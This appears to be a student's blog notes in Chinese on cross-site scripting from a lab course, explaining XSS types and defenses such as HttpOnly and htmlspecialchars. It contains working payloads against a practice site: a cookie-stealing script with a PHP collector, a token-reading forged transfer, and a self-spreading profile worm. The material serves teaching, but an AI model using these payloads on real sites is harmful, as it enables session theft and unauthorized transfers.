一.什么是XSS
1.XSS攻击即为(Cross Site Scripting), 中文为跨站脚本(但实际上并不是所有的XSS都需要跨站)。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
2.XSS类型:
(1)反射型XSS(非持久型XSS):发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器解析后响应,在响应内容中出现这段XSS代码。最后浏览器解析执行。(例如:http://www.foo.com/xss/a1.php?x=<script>alert(1)</script>
)
(2)存储型XSS(持久型XSS):提交的XSS会存储在服务端(不管是数据库、内存还是文件系统等),下次请求目标页面时不用再提交XSS代码。(例如:留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当作正常的HTML与JS解析执行,于是就出发了XSS攻击。)
(3)DOM XSS:此时并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器的DOM解析。可以认为完全是客户端的事情。(例如:http://www.foo.com/xssme/html#alert(1) #后面的内容是不会发送到服务端的,仅仅是在客户端被接收并解析执行。)
二.XSS攻击
(一)窃取cookie,提交表单
一些内容说明: 利用img这个标签进行向外数据的发送, js里要得到html中的元素,可以通过document里的函数获得。
在可以注入的页面写入这个:
<script>(new Image()).src="http://localhost/xss.php?cookie="+document.cookie</script>
之后构造一个xss.php页面:
<?php
/*echo $_GET["cookie"];*/
$myfile =fopen("test.txt","w");
fwrite($myfile,$_REQUEST["cookie"]);
fclose($myfile);
?>
访问写入攻击的用户,获得cookie成功。
(二)Ajax
AJAX = 异步 JavaScript 和 XML。
AJAX 是一种用于创建快速动态网页的技术。
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
我们也能看出Ajax的使用特点。主要是包括三部分,第一,生成XMLHTTPRequest对象;第二,发出请求;第三,处理请求返回的结果。
1.利用ajax进行攻击的表单提交
<script>
var a=new XMLHttpRequest();
var t,context;
a.onreadystatechange=function()
{
if(a.readyState==4)
{
context=(a.responseText);
alert(context.substr(context.indexOf("hidden")+28,32));
t=context.substr(context.indexOf("hidden")+28,32);
}
};
a.open("open","transfer.php",false);
a.send();
var b=new XMLHttpRequest();
b.open("post","http://localhost/transfer.php",false);
b.setRequestHeader("Content-type","application/x-www-form-urlencoded");
w="zoobars=1&recipient=ajax&submission=Send&token="+t
b.send(w);
</script>
注意此时已经了csrf的token防护,所以需要先将其中的token值读出,写入提交的表单中。
注意: indexOf()
方法是返回某个指定的字符串值在字符串中首次出现的位置。切记是首次出现的位置。indexOf(“string”,0)这个方法有两个参数,分别是要检索的字符串以及将从指定的位置开始检索。注意:1、如果要检索的字符串值没有出现,则该方法返回 -1。
2、indexOf() 方法对大小写敏感!
2.蠕虫实现:
访问者访问后自己丢失zoobars然后同时自己变成攻击者,会进行感染。
<span id=balance>
<script>
var req_w=new XMLHttpRequest();
req_w.open("post","index.php",false);
var AA=document.getElementById("balance");
var AB="<span id=balance>"+AA.innerHTML+"</span>";
var para_w = new FormData();
para_w.append("profile_update", AB);
para_w.append("profile_submit", "Save");
req_w.send(para_w);
var a=new XMLHttpRequest();
var t,context;
a.onreadystatechange=function()
{
if(a.readyState==4)
{
context=(a.responseText);
alert(context.substr(context.indexOf("hidden")+28,32));
t=context.substr(context.indexOf("hidden")+28,32);
}
};
a.open("open","transfer.php",false);
a.send();
var b=new XMLHttpRequest();
b.open("post","http://localhost/transfer.php",false);
b.setRequestHeader("Content-type","application/x-www-form-urlencoded");
w="zoobars=1&recipient=ajax&submission=Send&token="+t
b.send(w);
</script></span>
三.XML
以前没有接触过XML,这里就简单介绍一下,当作了解。
参考链接:https://www.runoob.com/xml/xml-intro.html
三.一些课上提出的重点问题
1.Ajax中的open函数:
open(method,url,async)规定请求的类型、URL 以及是否异步处理请求。
-method:请求的类型;GET 或 POST
-url:文件在服务器上的位置
-async:true(异步)或 false(同步)
这里要注意最后的同步异步,有时候网页加载要求必须在同步下才能成功,比如在open网页后执行才能获取token值。
另外:
2.Ajax
Ajax在跨域时不会主动带上cookie。
我们再来实现一遍用Ajax来实现csrf攻击:
此时看到攻击并不成功,会有CORS规则
在服务器的页面中写入
header("Access-Control-Allow-Origin:*");
此时不会再有拦截:
(注意一个点:现在,对于跨域请求,不成功不是体现在server没有收到请求,而是发送方确实能收到回复,但是请求方client不能处理(读取和操作)这个回复。)
?????这个还需要再问,还是有问题。
1.无法利用ajax实现攻击。
3.httponly
是仅能被http协议本身使用的
如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性
四.XSS防御
1.过滤:设置白名单和黑名单
如这个练习网站中所设置的:
2.构造转义字符:
输入一下方法:
$profile=htmlspecialchars($profile);
之后再次构造攻击,发现并不成功:
来源:CSDN
作者:chuxuezheerer
链接:https://blog.csdn.net/chuxuezheerer/article/details/103623101